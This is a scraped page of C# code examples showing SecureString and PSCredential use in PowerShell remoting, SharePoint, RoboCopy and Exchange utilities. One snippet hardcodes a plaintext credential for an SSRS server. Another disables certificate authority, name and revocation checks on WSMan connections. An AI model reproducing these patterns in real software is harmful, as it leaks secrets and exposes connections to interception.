                Debugger.Instance.DebugMessage("RoboCopy process exited.");
            }, cancellationToken, TaskCreationOptions.LongRunning, PriorityScheduler.BelowNormal);

            Task continueWithTask = backupTask.ContinueWith((continuation) =>
            {
                if (!hasError)
                {
                    // backup is complete
                    if (OnCommandCompleted != null)
                    {
                        OnCommandCompleted(this, new RoboCommandCompletedEventArgs(results));
                        isRunning = false;
                    }
                }

                Stop();
            }, cancellationToken);

            return(continueWithTask);
        }
コード例 #25
0
        /*
         * Method:	    RunScript
         * Purpose:	    Creates two shared datasources on report server in home folder, by invoking powershell runspace
         * Parameters:	sctipt string, int mode 1 - create ERP datasource 2 - create LYNQ datasource, reporting server URL as a string, server name as a string, database name as a string,
         *              user name as a string, password as a string
         * Return:		void
         */
        public static void RunScript(string scriptText, int mode, string txtReportingServerURL, string txtServer, string txtDatabase, string txtUserName, string txtPassword)
        {
            // create Powershell runspace
            Runspace runspace = RunspaceFactory.CreateRunspace();

            // open it
            runspace.Open();

            // create a pipeline and feed it the script text
            Pipeline pipeline = runspace.CreatePipeline();

            pipeline.Commands.AddScript(scriptText);


            pipeline.Invoke();
            pipeline.Commands.Clear();


            Command myCommand = new Command("New-SSRSDataSource");

            if (mode == 1)
            {
                CommandParameter dsName = new CommandParameter("DataSourceName", "LYNQmomERP");
                myCommand.Parameters.Add(dsName);

                CommandParameter dsPath = new CommandParameter("path", "/");
                myCommand.Parameters.Add(dsPath);
                CommandParameter dsReportWebService = new CommandParameter("reportWebService", txtReportingServerURL);
                myCommand.Parameters.Add(dsReportWebService);
                CommandParameter dsConnectionString = new CommandParameter("connectString", "Data Source = " + txtServer + "; Initial Catalog = " + txtDatabase);
                myCommand.Parameters.Add(dsConnectionString);
            }
            else
            {
                CommandParameter dsName = new CommandParameter("DataSourceName", "LYNQmom");
                myCommand.Parameters.Add(dsName);
                CommandParameter dsPath = new CommandParameter("path", "/");
                myCommand.Parameters.Add(dsPath);
                CommandParameter dsReportWebService = new CommandParameter("reportWebService", txtReportingServerURL);
                myCommand.Parameters.Add(dsReportWebService);
                CommandParameter dsConnectionString = new CommandParameter("connectString", "Data Source = " + txtServer + "; Initial Catalog = " + txtDatabase);
                myCommand.Parameters.Add(dsConnectionString);
            }
            CommandParameter dsUserName = new CommandParameter("username", txtUserName);

            myCommand.Parameters.Add(dsUserName);
            CommandParameter dsPassword = new CommandParameter("password", txtPassword);

            myCommand.Parameters.Add(dsPassword);
            CommandParameter dsExtension = new CommandParameter("Extension", "SQL");

            myCommand.Parameters.Add(dsExtension);
            string passwordString = "iLynq123";

            // create credential variable for connection to ssrs server
            System.Security.SecureString password = new System.Security.SecureString();
            for (int i = 0; i < passwordString.Length; i++)
            {
                password.AppendChar(passwordString[i]);
            }
            password.MakeReadOnly();
            PSCredential     Credential    = new PSCredential("iLynq", password);
            CommandParameter dsCredentials = new CommandParameter("credentials", Credential);

            myCommand.Parameters.Add(dsCredentials);

            Pipeline pipeline1 = runspace.CreatePipeline();

            pipeline1.Commands.Add(myCommand);
            try
            {
                pipeline1.Invoke();
            }
            catch (System.Management.Automation.CmdletInvocationException ex)
            {
                MessageBox.Show("Ivalid URL format", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            // close the runspace
            runspace.Close();
        }
コード例 #26
0
ファイル: Program.cs プロジェクト: tmsang12a14tkn/VITV
        static void Main(string[] args)
        {
            //checkThumbnailFiles();
            //checkReporterPhotos();
            //checkVideoCategoryPhotos();
            //checkVideoFiles();
            Console.WriteLine("Start");
            try
            {
                Console.WriteLine("Start 1");
                var context = new VITVContext();
                Console.WriteLine(context.Videos.Count());

                foreach (var video in context.Videos)
                {
                    if (video.Duration.TotalSeconds != 0)
                    {
                        break;
                    }
                    Console.WriteLine(video.Url);
                    var videoPath = GetPhysicalPath(video.Url);
                    Console.WriteLine(videoPath);
                    if (videoPath != "")
                    {
                        string ffMPEG   = @"\\10.0.0.10\web\FFmpeg\ffmpeg.exe";
                        string username = "******";
                        string password = "******";
                        System.Security.SecureString ssPwd = new System.Security.SecureString();
                        for (int x = 0; x < password.Length; x++)
                        {
                            ssPwd.AppendChar(password[x]);
                        }
                        string vArgs = string.Format("-i \"{0}\"", videoPath);

                        var thumbProc = new Process
                        {
                            StartInfo =
                            {
                                FileName               = ffMPEG,
                                Arguments              = vArgs,
                                UseShellExecute        = false,
                                CreateNoWindow         = true,
                                UserName               = username,
                                Password               = ssPwd,
                                LoadUserProfile        = false,
                                RedirectStandardOutput = false,
                                WorkingDirectory       = Path.GetDirectoryName(videoPath), //important: http://stackoverflow.com/questions/990562/win32exception-the-directory-name-is-invalid
                                RedirectStandardError  = true
                            }
                        };

                        try
                        {
                            thumbProc.Start();
                            var SROutput = thumbProc.StandardError;
                            var outPut   = SROutput.ReadToEnd();

                            var re = new System.Text.RegularExpressions.Regex("[D|d]uration:.((\\d|:|\\.)*)");
                            var m  = re.Match(outPut);

                            thumbProc.WaitForExit();
                            thumbProc.Close();

                            if (m.Success)
                            {
                                //Means the output has cantained the string "Duration"
                                string   temp       = m.Groups[1].Value;
                                string[] timepieces = temp.Split(new char[] { ':', '.' });
                                if (timepieces.Length == 4)
                                {
                                    // Store duration
                                    var videoDuration = new TimeSpan(0, Convert.ToInt16(timepieces[0]), Convert.ToInt16(timepieces[1]), Convert.ToInt16(timepieces[2]), Convert.ToInt16(timepieces[3]));
                                    video.Duration = videoDuration;
                                }
                            }
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine("Error: " + ex.Message);
                        }
                    }
                    Console.WriteLine(video.Id);
                }
                context.SaveChanges();
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error: " + ex.Message);
            }

            Console.WriteLine("Completed");
            Console.ReadLine();
        }
コード例 #27
0
ファイル: RoboCommand.cs プロジェクト: PlamenTTotev/RoboSharp
        public void Start(string domain = "", string username = "", string password = "")
        {
            hasError = false;

            // make sure source path is valid
            if (!Directory.Exists(CopyOptions.Source.Replace("\"", "")))
            {
                hasError = true;

                if (OnCommandError != null)
                {
                    OnCommandError(this, new ErrorEventArgs("The Source directory does not exist."));
                }

                return;
            }

            #region Create Destination Directory

            try
            {
                var dInfo = Directory.CreateDirectory(CopyOptions.Destination.Replace("\"", ""));
                if (!dInfo.Exists)
                {
                    hasError = true;

                    if (OnCommandError != null)
                    {
                        OnCommandError(this, new ErrorEventArgs("The Destination directory is invalid."));
                    }

                    return;
                }
            }
            catch
            {
                hasError = true;

                if (OnCommandError != null)
                {
                    OnCommandError(this, new ErrorEventArgs("The Destination directory is invalid."));
                }

                return;
            }

            #endregion

            backupTask = Task.Run(() =>
            {
                process = new Process();

                if (!string.IsNullOrEmpty(domain))
                {
                    process.StartInfo.Domain = domain;
                }

                if (!string.IsNullOrEmpty(username))
                {
                    process.StartInfo.UserName = username;
                }

                if (!string.IsNullOrEmpty(password))
                {
                    var ssPwd = new System.Security.SecureString();
                    for (int x = 0; x < password.Length; x++)
                    {
                        ssPwd.AppendChar(password[x]);
                    }
                    process.StartInfo.Password = ssPwd;
                }

                process.StartInfo.UseShellExecute        = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError  = true;
                process.StartInfo.WindowStyle            = ProcessWindowStyle.Hidden;
                process.StartInfo.CreateNoWindow         = true;
                process.StartInfo.FileName  = "ROBOCOPY.exe";
                process.StartInfo.Arguments = GenerateParameters();
                process.OutputDataReceived += process_OutputDataReceived;
                process.ErrorDataReceived  += process_ErrorDataReceived;
                process.Start();
                process.BeginOutputReadLine();
                process.BeginErrorReadLine();
                process.WaitForExit();
            });

            backupTask.ContinueWith((continuation) =>
            {
                if (!hasError)
                {
                    // backup is complete
                    if (OnCommandCompleted != null)
                    {
                        OnCommandCompleted(this, new RoboCommandCompletedEventArgs());
                    }
                }

                Stop();
            });
        }
コード例 #28
0
        public void SetInactiveCollectionAdConfigTest()
        {
            SetAzureRemoteAppCollection mockCmdlet = SetUpTestCommon<SetAzureRemoteAppCollection>();
            string collectionName = "mycol";
            System.Security.SecureString password = new System.Security.SecureString();
            string expectedTrackingId = "fasdfsadfsdf";
            CollectionUpdateDetails requestData = null;
            string userName = @"MyDomain\Administrator";
            Collection expectedCollection = null;

            // Required parameters for this test
            mockCmdlet.CollectionName = collectionName;
            password.AppendChar('f');
            mockCmdlet.Credential = new PSCredential(userName, password);
            requestData = new CollectionUpdateDetails()
            {
                AdInfo = new ActiveDirectoryConfig()
                {
                    UserName = userName,
                    Password = "******"
                }
            };

            expectedCollection = new Collection()
            {
                Name = collectionName,
                Status = "Inactive",
                AdInfo = new ActiveDirectoryConfig()
            };

            PerformCollectionTestWithAdInfoHelper(mockCmdlet, collectionName, expectedCollection, expectedTrackingId, requestData, true);
        }
コード例 #29
0
        /// <summary>Performs execution of the command, working asynchronously if required.</summary>
        /// <returns>
        /// A <see cref="System.Threading.Tasks.Task" /> that will be complete when handling of the method is completed.
        /// </returns>
        protected async System.Threading.Tasks.Task ProcessRecordAsync()
        {
            using ( NoSynchronizationContext )
            {
                await((Microsoft.Rest.ClientRuntime.IEventListener) this).Signal(Microsoft.Rest.ClientRuntime.Events.CmdletGetPipeline); if (((Microsoft.Rest.ClientRuntime.IEventListener) this).Token.IsCancellationRequested)
                {
                    return;
                }
                if (this.SkipSSL.ToBool())
                {
                    Pipeline = Nutanix.Powershell.Module.Instance.CreatePipelineWithProxy(this.MyInvocation.BoundParameters);
                }
                else
                {
                    Pipeline = Nutanix.Powershell.Module.Instance.CreatePipeline(this.MyInvocation.BoundParameters);
                }
                Pipeline.Prepend(HttpPipelinePrepend);
                Pipeline.Append(HttpPipelineAppend);

                if (Credential == null)
                {
                    if (Port == null)
                    {
                        Port = System.Environment.GetEnvironmentVariable("NutanixPort") ?? "9440";
                    }

                    if (Protocol == null)
                    {
                        Protocol = System.Environment.GetEnvironmentVariable("NutanixProtocol") ?? "https";
                    }

                    if (Server == null)
                    {
                        Server = System.Environment.GetEnvironmentVariable("NutanixServer") ?? "localhost";
                    }

                    if (Username == null)
                    {
                        Username = System.Environment.GetEnvironmentVariable("NutanixUsername") ?? "";
                    }

                    if (Password == null)
                    {
                        var psw = System.Environment.GetEnvironmentVariable("NutanixPassword") ?? "";
                        System.Security.SecureString result = new System.Security.SecureString();
                        foreach (char c in psw)
                        {
                            result.AppendChar(c);
                        }

                        Password = result;
                    }
                    //build url
                    var url = $"{Protocol}://{Server}:{Port}";
                    Credential = new Nutanix.Powershell.Models.NutanixCredential(url, Username, Password);
                }

                // get the client instance
                await((Microsoft.Rest.ClientRuntime.IEventListener) this).Signal(Microsoft.Rest.ClientRuntime.Events.CmdletBeforeAPICall); if (((Microsoft.Rest.ClientRuntime.IEventListener) this).Token.IsCancellationRequested)
                {
                    return;
                }
                await this.Client.ListSubnets(GetEntitiesRequest, onOK, onDefault, this, Pipeline, Credential);

                await((Microsoft.Rest.ClientRuntime.IEventListener) this).Signal(Microsoft.Rest.ClientRuntime.Events.CmdletAfterAPICall); if (((Microsoft.Rest.ClientRuntime.IEventListener) this).Token.IsCancellationRequested)
                {
                    return;
                }
            }
        }
コード例 #30
0
        private static void ReadConfigurationValues()
        {
            Logger.log.Info("Reading Configuration values from config");
            coversheetHeaderList  = ConfigurationManager.AppSettings.Get("CoversheetHeaderList");
            coversheetDetailsList = ConfigurationManager.AppSettings.Get("CoversheetDetailsList");
            siteurl  = ConfigurationManager.AppSettings.Get("SiteUrl");
            domain   = ConfigurationManager.AppSettings.Get("Domain");
            username = ConfigurationManager.AppSettings.Get("UserName");
            password = ConfigurationManager.AppSettings.Get("Password");
            isCloud  = Convert.ToBoolean(ConfigurationManager.AppSettings.Get("CloudEnvironment"));
            if (!string.IsNullOrEmpty(siteurl))
            {
                context = new ClientContext(siteurl);
            }
            else
            {
                Logger.log.Info("Site Url set to null in the configuration");
            }

            if (isCloud)
            {
                Logger.log.Info("Environment configuration set for Cloud");
                System.Security.SecureString pwdSecureString = new System.Security.SecureString();
                if (!string.IsNullOrEmpty(password))
                {
                    foreach (char c in password)
                    {
                        pwdSecureString.AppendChar(c);
                    }

                    context.Credentials = new SharePointOnlineCredentials(username, pwdSecureString);
                }
            }
            else
            {
                Logger.log.Info("Environment configuration set for On premise");
                context.Credentials = new NetworkCredential(username, password, domain);
            }

            Web web = context.Web;

            context.Load(web, w => w.Title, w => w.Url);
            List      listHeader = web.Lists.GetByTitle(coversheetHeaderList);
            CamlQuery camlQuery  = new CamlQuery();

            camlQuery.ViewXml = "<View><Query><Where><Geq><FieldRef Name='ID'/>" +
                                "<Value Type='Number'>0</Value></Geq></Where></Query></View>";
            ListItemCollection collection = listHeader.GetItems(camlQuery);

            context.Load(collection, items => items.Include(
                             item => item.Id,
                             item => item["Title"],
                             item => item["Vendor_x0020_Name"],
                             item => item["Accounting_x0020_Approval"]
                             ));
            context.ExecuteQuery();
            Logger.log.Info("Context created for the web and header list");
            foreach (ListItem item in collection)
            {
                UpdateDetailsList(web, item.Id.ToString(), item["Accounting_x0020_Approval"].ToString());
            }
        }
コード例 #31
0
ファイル: FormPrincipal.cs プロジェクト: radtek/winperupdate
        private void FormPrincipal_Load(object sender, EventArgs e)
        {
            Utils.isCentralizado = File.Exists(Path.Combine(Directory.GetCurrentDirectory(), "ProcessWPUI.exe"));
            try
            {
                if (SvcWPUI.Status == System.ServiceProcess.ServiceControllerStatus.Running)
                {
                    SvcWPUI.Stop();
                }
            }
            catch (Exception) { }

            if (string.IsNullOrEmpty(Utils.GetSetting("server")) || string.IsNullOrEmpty(Utils.GetSetting("port")))
            {
                Utils.SetSetting("server", ConfigurationManager.AppSettings["server"]);
                Utils.SetSetting("port", int.Parse(ConfigurationManager.AppSettings["port"]));
                Utils.SetSetting("sql", bool.Parse(ConfigurationManager.AppSettings["sql"]));
                Utils.SetSetting("cftp", ConfigurationManager.AppSettings["cftp"]);
            }


            timerPing.Start();
            Utils.RegistrarLog("Load.log", "UI Iniciado");
            Utils.RegistrarLog("Load.log", "-----");
            ContextMenu1.MenuItems.Add("Configurar Ambiente y Licencia", new EventHandler(this.Ambiente_Click));
            ContextMenu1.MenuItems[0].Enabled = true;

            ContextMenu1.MenuItems.Add("-");
            ContextMenu1.MenuItems.Add("&Acerca de...", new EventHandler(this.AcercaDe_Click));
            ContextMenu1.MenuItems[1].DefaultItem = true;

            ContextMenu1.MenuItems.Add("&Configuración", new EventHandler(this.ConfigGen_Click));

            ContextMenu1.MenuItems.Add("-");
            ContextMenu1.MenuItems.Add("&Salir", new EventHandler(this.Salir_Click));

            notifyIcon2.ContextMenu = ContextMenu1;

            WindowState   = FormWindowState.Minimized;
            ShowInTaskbar = false;
            timer1.Stop();

            string nroLicencia = "";
            string ambientecfg = "";
            string perfil      = "";
            string inRun       = "No";
            string installDir  = Directory.GetCurrentDirectory();
            string statUI      = "updated";

            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\WinperUpdate");
                nroLicencia = key.GetValue("Licencia").ToString();
                ambientecfg = key.GetValue("Ambientes").ToString();
                inRun       = key.GetValue("InRun").ToString();
                perfil      = key.GetValue("Perfil").ToString();
                installDir  = key.GetValue("InstallDir").ToString();
                statUI      = key.GetValue("StatUI").ToString();
                key.Close();
            }
            catch (Exception)
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"SOFTWARE\WinperUpdate");
                key.SetValue("Licencia", nroLicencia);
                key.SetValue("Ambientes", ambientecfg);
                key.SetValue("InRun", inRun);
                key.SetValue("Perfil", perfil);
                key.SetValue("InstallDir", installDir);
                key.SetValue("StatUI", statUI);
                key.Close();
            }

            string regUI = Path.Combine(Path.GetTempPath(), "regUI.bat");
            string exe   = Path.Combine(installDir, "WinPerUpdateUI.exe");

            int intentos = 0;
            var keyRun   = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"SOFTWARE\WinperUpdate");

            while (intentos < 3 && inRun.Equals("No"))
            {
                try
                {
                    if (File.Exists(regUI))
                    {
                        File.Delete(regUI);
                    }
                    if (!File.Exists(regUI))
                    {
                        File.WriteAllLines(regUI, new string[] {
                            "@echo off",
                            "cd %windir%\\system32",
                            "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v  WinperUpdate /t REG_SZ /d \"" + exe + "\"  /f >> regUI.log"
                        });
                    }
                    var pas = Utils.ShowDialogInput(string.Format("Se procederá a configurar WinAct en el arranque de Windows.\nEscriba la clave para el usuario {0}", Environment.UserName), "Clave de Usuario", true);

                    if (string.IsNullOrEmpty(pas))
                    {
                        intentos++;
                        MessageBox.Show(string.Format("No ha escrito ninguna clave, vuelva a intentarlo (Intento {0}/3)", intentos), "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                    else
                    {
                        var sec = new System.Security.SecureString();
                        for (int i = 0; i < pas.Length; i++)
                        {
                            sec.AppendChar(pas.ElementAt(i));
                        }

                        Process.Start(regUI, Environment.UserName, sec, Environment.UserDomainName);
                        inRun = "Si";
                        keyRun.SetValue("InRun", inRun);
                        var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
                        key.SetValue("WinperUpdate", exe);
                        key.Close();
                        MessageBox.Show("WinAct fue configurado al inicio de Windows correctamente", "AVISO", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                }
                catch (Exception ex)
                {
                    intentos++;
                    MessageBox.Show(string.Format("{0} (Intento {1}/3)", ex.Message, intentos), "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }

                if (intentos >= 3 && inRun.Equals("No"))
                {
                    MessageBox.Show("El numero de intentos sobrepaso el límite.\n\nWinAct no se pudo configurar al inicio de Windows. Esto NO afectará el funcionamiento de WinAct", "AVISO", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                }
            }
            keyRun.Close();

            if (!string.IsNullOrEmpty(nroLicencia))
            {
                string server = Utils.GetSetting("server");
                string port   = Utils.GetSetting("port");

                try
                {
                    string json = Utils.StrSendMsg(server, int.Parse(port), "checklicencia#" + nroLicencia + "#");
                    cliente = JsonConvert.DeserializeObject <ClienteBo>(json);
                    if (cliente != null)
                    {
                        json = Utils.StrSendMsg(server, int.Parse(port), "ambientes#" + cliente.Id.ToString() + "#");

                        ContextMenu1.MenuItems.Clear();

                        MenuItem addDevice = new MenuItem("&Estado de la Versión");
                        addDevice.Enabled = true;
                        ambientes         = JsonConvert.DeserializeObject <List <AmbienteBo> >(json);
                        foreach (var ambiente in ambientes)
                        {
                            var key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\WinperUpdate\" + ambiente.Nombre);
                            if (key != null)
                            {
                                string dirwp = key.GetValue("DirWinper") == null ? "" : key.GetValue("DirWinper").ToString();
                                if (Directory.Exists(dirwp))
                                {
                                    addDevice.MenuItems.Add(new MenuItem(ambiente.Nombre, new EventHandler(this.Restaurar_Click)));
                                }
                                key.Close();
                            }
                        }


                        /*Obtiene los modulos contratados del cliente con sus respectivos componentes*/
                        json = Utils.StrSendMsg(server, int.Parse(port), "modulos#" + cliente.Id + "#");
                        Utils.ModulosContratados = JsonConvert.DeserializeObject <List <ModuloBo> >(json);

                        ContextMenu1.MenuItems.Add(addDevice);

                        ContextMenu1.MenuItems.Add("Configurar Ambiente y Licencia", new EventHandler(this.Ambiente_Click));
                        ContextMenu1.MenuItems[1].Enabled = true;

                        ContextMenu1.MenuItems.Add("-");
                        ContextMenu1.MenuItems.Add("&Acerca de...", new EventHandler(this.AcercaDe_Click));
                        ContextMenu1.MenuItems[2].DefaultItem = true;

                        ContextMenu1.MenuItems.Add("&Configuración", new EventHandler(this.ConfigGen_Click));

                        ContextMenu1.MenuItems.Add("-");
                        ContextMenu1.MenuItems.Add("&Salir", new EventHandler(this.Salir_Click));

                        notifyIcon2.ContextMenu = ContextMenu1;
                        timer1.Start();
                        timerUI.Start();

                        TipoVentana = -1;
                        notifyIcon2.BalloonTipIcon  = ToolTipIcon.None;
                        notifyIcon2.BalloonTipTitle = "WinActUI";
                        notifyIcon2.BalloonTipText  = "Acá se encuentra WinAct!";
                        notifyIcon2.ShowBalloonTip(5000);
                    }
                }
                catch (Exception ex)
                {
                    if (ContextMenu1.MenuItems.Count > 0)
                    {
                        ContextMenu1.MenuItems[0].Enabled = false;
                        ContextMenu1.MenuItems[1].Enabled = false;
                    }
                    else
                    {
                        ContextMenu1.MenuItems.Add("Configurar Ambiente y Licencia", new EventHandler(this.Ambiente_Click));
                        ContextMenu1.MenuItems[0].Enabled = false;

                        ContextMenu1.MenuItems.Add("-");
                        ContextMenu1.MenuItems.Add("&Acerca de...", new EventHandler(this.AcercaDe_Click));
                        ContextMenu1.MenuItems[1].DefaultItem = true;

                        ContextMenu1.MenuItems.Add("&Configuración", new EventHandler(this.ConfigGen_Click));

                        ContextMenu1.MenuItems.Add("-");
                        ContextMenu1.MenuItems.Add("&Salir", new EventHandler(this.Salir_Click));
                    }
                    MessageBox.Show("WinAct no pudo iniciarce correctamente, puede revisar el log 'Load.log'");
                    Utils.RegistrarLog("Load.log", ex.ToString());
                }
            }
        }
コード例 #32
0
        //*********************************************************************
        ///
        /// <summary>
        ///
        /// </summary>
        /// <param name="url"></param>
        /// <param name="userName"></param>
        /// <param name="userPassword"></param>
        /// <returns></returns>
        ///
        /// http://technet.microsoft.com/en-us/library/dd347642.aspx
        /// http://stackoverflow.com/questions/6587426/powershell-remoting-with-ip-address-as-target
        /// http://social.msdn.microsoft.com/Forums/vstudio/en-US/a0e5b23c-b605-431d-a32f-942d7c5fd843/wsmanconnectioninfo
        ///
        //*********************************************************************

        Runspace GetOpenRunspace(string url, string userName, string userPassword)
        {
            var rr          = new RemotingResult();
            var impersonate = false;

            try
            {
                if (null != _Runspace)
                {
                    if (_Runspace.RunspaceStateInfo.State == RunspaceState.Opened)
                    {
                        return(_Runspace);
                    }
                }

                var connectTo = new Uri(String.Format("{0}/wsman", url));
                WSManConnectionInfo connectionInfo = null;

                //if (url.ToLower().Contains("https:"))
                if (url.ToLower().Contains("https:") | url.ToLower().Contains("http:"))
                {
                    if (url.ToLower().Contains("http:"))
                    {
                        AddHostToLocalTrusedHosts(url);
                    }

                    var secString = new System.Security.SecureString();

                    foreach (var c in userPassword)
                    {
                        secString.AppendChar(c);
                    }

                    var psCred = new PSCredential(userName, secString);

                    connectionInfo = new WSManConnectionInfo(connectTo,
                                                             "http://schemas.microsoft.com/powershell/Microsoft.PowerShell", psCred);
                }
                else
                {
                    connectionInfo = new WSManConnectionInfo(connectTo);

                    if (null != userName)
                    {
                        impersonate = true;
                    }
                }

                connectionInfo.SkipCACheck         = true;
                connectionInfo.SkipCNCheck         = true;
                connectionInfo.SkipRevocationCheck = true;

                // http://blogs.msdn.com/b/powershell/archive/2006/04/25/583250.aspx
                //*** Can I use this? Why should I? ***

                /*using (RunspaceInvoke invoker = new RunspaceInvoke())
                 * {
                 *  invoker.Invoke("Set-ExecutionPolicy Unrestricted -Scope Process");
                 * }*/

                /*if (impersonate)
                 * {
                 *  using (new CmpServiceLib.Impersonator(userName, "ImpersonateDomain", userPassword))
                 *  {
                 *      _Runspace = RunspaceFactory.CreateRunspace(connectionInfo);
                 *      _Runspace.Open();
                 *  }
                 * }
                 * else
                 * {*/
                _Runspace = RunspaceFactory.CreateRunspace(connectionInfo);
                _Runspace.Open();
                //}

                return(_Runspace);
            }
            catch (System.Management.Automation.Remoting.PSRemotingTransportException ex)
            {
                var message = ex.Message;
                throw new FailToConnectException(UnwindExceptionMessages(ex));
            }
            catch (Exception ex)
            {
                throw new Exception("Exception in Remoting.GetOpenRunspace() : " + ex.Message);
            }
        }
コード例 #33
0
ファイル: Tools.cs プロジェクト: pacificIT/Duplicati
 /// <summary>
 /// Unprotects data into a SecureString
 /// </summary>
 /// <param name="aData">Data to decrypt</param>
 /// <returns>SecureString</returns>
 public static System.Security.SecureString SecureUnprotect(byte[] aData)
 {
     if (aData == null || aData.Length == 0) return new System.Security.SecureString();
     System.Security.SecureString Result = new System.Security.SecureString();
     foreach (byte b in Unprotect(aData))
         Result.AppendChar((char)b);
     return Result;
 }
コード例 #34
0
        static void Main(string[] args)
        {
            try
            {
                //log the start time
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine("Started Processing..");
                Logger.log.Info("=========== Started Approval Email Notification Service ====================");
                Utils.ReadConfigurationValues();
                dtOrgInfo = ConstructOrgTable();
                dtHeader  = ConstructDataTable();
                if (!string.IsNullOrEmpty(Invoice._siteUrl))
                {
                    context = new ClientContext(Invoice._siteUrl);
                }
                else
                {
                    Logger.log.Info("The site url set to null in configuration");
                }
                if (Invoice._runforCloud)
                {
                    Logger.log.Info("The configuration set to run for cloud");
                    System.Security.SecureString pwdSecureString = new System.Security.SecureString();
                    if (!string.IsNullOrEmpty(Invoice._password))
                    {
                        foreach (char c in Invoice._password)
                        {
                            pwdSecureString.AppendChar(c);
                        }
                        context.Credentials = new SharePointOnlineCredentials(Invoice._userName, pwdSecureString);
                    }
                }
                else
                {
                    Logger.log.Info("The configuration set to run for On Premise environment");
                    context.Credentials = new NetworkCredential(Invoice._userName, Invoice._password, Invoice._domain);
                }

                Web web = context.Web;
                context.Load(web, w => w.Title, w => w.Url);
                List listHeader = web.Lists.GetByTitle(Invoice._invoiceCoverSheetHeaderListName);
                listOrganizationInfo = web.Lists.GetByTitle(Invoice._orgListName);

                //Updating the Status from Dvisional Approval Approved to Accounting Approval Pending
                UpdateDivApprovedtoAccountPendingStatus(listHeader);
                Console.WriteLine("Status Update Done.");

                dtHeader = GetHeaderInfo(listHeader);

                DataTable dtCompanyIDs = dtHeader.DefaultView.ToTable(true, "InvoiceCompany");
                if (dtCompanyIDs != null)
                {
                    foreach (DataRow dr in dtCompanyIDs.Rows)
                    {
                        string companyID = dr["InvoiceCompany"].ToString();

                        // Divisional Approval Pending
                        try
                        {
                            DataRow[] drDvisions      = dtHeader.Select("InvoiceCompany=" + companyID + "AND DivisionalApproval = 'Divisional Approval Pending'");
                            string    divApprovalType = "divisional";
                            if (drDvisions.Length != 0)
                            {
                                Logger.log.Info("Sending Mails to Divisional Approvers ");
                                StringBuilder divEmailBuilder = ConstructEmailBody(drDvisions, divApprovalType);
                                SendApproverEmailRejected(companyID, divApprovalType, divEmailBuilder);
                                Console.WriteLine("Sent Emails to Divisional Approvers for Company " + companyID);
                            }
                        }
                        catch (Exception ex)
                        {
                            // Logger.log.Error("Error in Getting Divisional Approvers Details " + ex.ToString());
                            //  Console.WriteLine("Error {0}", ex);
                        }

                        //Accounting Approval Pending
                        try
                        {
                            DataRow[] drAccounts        = dtHeader.Select("InvoiceCompany=" + companyID + "AND AccountingApproval ='Accounting Approval Pending'");
                            string    accntApprovalType = "accounting";
                            if (drAccounts.Length != 0)
                            {
                                Logger.log.Info("Sending Mails to Accounting Approvers Rejected");
                                StringBuilder accntEmailBuilder = ConstructEmailBody(drAccounts, accntApprovalType);
                                SendApproverEmailRejected(companyID, accntApprovalType, accntEmailBuilder);
                                Console.WriteLine("Sent Emails to Accounting Approvers for Company " + companyID);
                            }
                        }
                        catch (Exception ex)
                        {
                            // Logger.log.Error("Error in Getting Accounting Approvers Details " + ex.ToString());
                        }
                    }

                    //  Divisional Approval Rejected
                    try
                    {
                        DataRow[] drDvisions      = dtHeader.Select("DivisionalApproval = 'Divisional Approval Rejected'");
                        string    divApprovalType = "divisional";
                        if (drDvisions.Length != 0)
                        {
                            Logger.log.Info("Sending Mails to Divisional Approvers Rejected ");
                            StringBuilder divEmailBuilder = ConstructEmailBodyRejected(drDvisions, divApprovalType);
                            SendApproverEmailRejected(divApprovalType, divEmailBuilder);
                            Console.WriteLine("Sent Emails to  Divisional Approval Rejected");
                        }
                    }
                    catch (Exception ex)
                    {
                        Logger.log.Error("Error in Getting Divisional Approvers Details " + ex.ToString());
                        Console.WriteLine("Error {0}", ex);
                    }

                    // Accounting Approval Rejected
                    try
                    {
                        DataRow[] drAccounts        = dtHeader.Select("AccountingApproval ='Accounting Approval Rejected'");
                        string    accntApprovalType = "accounting";
                        if (drAccounts.Length != 0)
                        {
                            Logger.log.Info("Sending Mails to Accounting Approvers");
                            StringBuilder accntEmailBuilder = ConstructEmailBodyRejected(drAccounts, accntApprovalType);
                            SendApproverEmailRejected(accntApprovalType, accntEmailBuilder);
                            Console.WriteLine("Sent Emails to Accounting Approvers Rejected");
                        }
                    }
                    catch (Exception ex)
                    {
                        Logger.log.Error("Error in Getting Accounting Approvers Details " + ex.ToString());
                    }
                }
                Logger.log.Info("=========== Completed Approval Email Notification Service ====================");
                Console.WriteLine("Process completed, please close the window to exit process..!");
                //Console.ReadKey();
            }
            catch (Exception ex)
            {
                Logger.log.Error("Error in Approval Email " + ex.ToString());
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Error in sending Invoice approval mails, Please check all the configurations and try again..{0}", ex);
                Console.ResetColor();
                // Console.ReadLine();
            }
        }
コード例 #35
0
ファイル: CryptoUtils.cs プロジェクト: hostitherepc/Fork-1
        public static System.Security.SecureString CreateSecureString(string inputString)
        {
            System.Security.SecureString secureString = new System.Security.SecureString();

            foreach (Char character in inputString)
            {
                secureString.AppendChar(character);
            }

            return secureString;
        }
コード例 #36
0
        public ICustomActivityResult Execute()

        {
            string command = "Enable-Mailbox";

            DataTable dt = new DataTable("resultSet");

            dt.Columns.Add("Result", typeof(String));


            string shellUri = "http://schemas.microsoft.com/powershell/Microsoft.Exchange";

            System.Uri serverUri = new Uri(String.Format("HTTPS://{0}/powershell?serializationLevel=Full", HostName));

            System.Security.SecureString securePassword = new System.Security.SecureString();
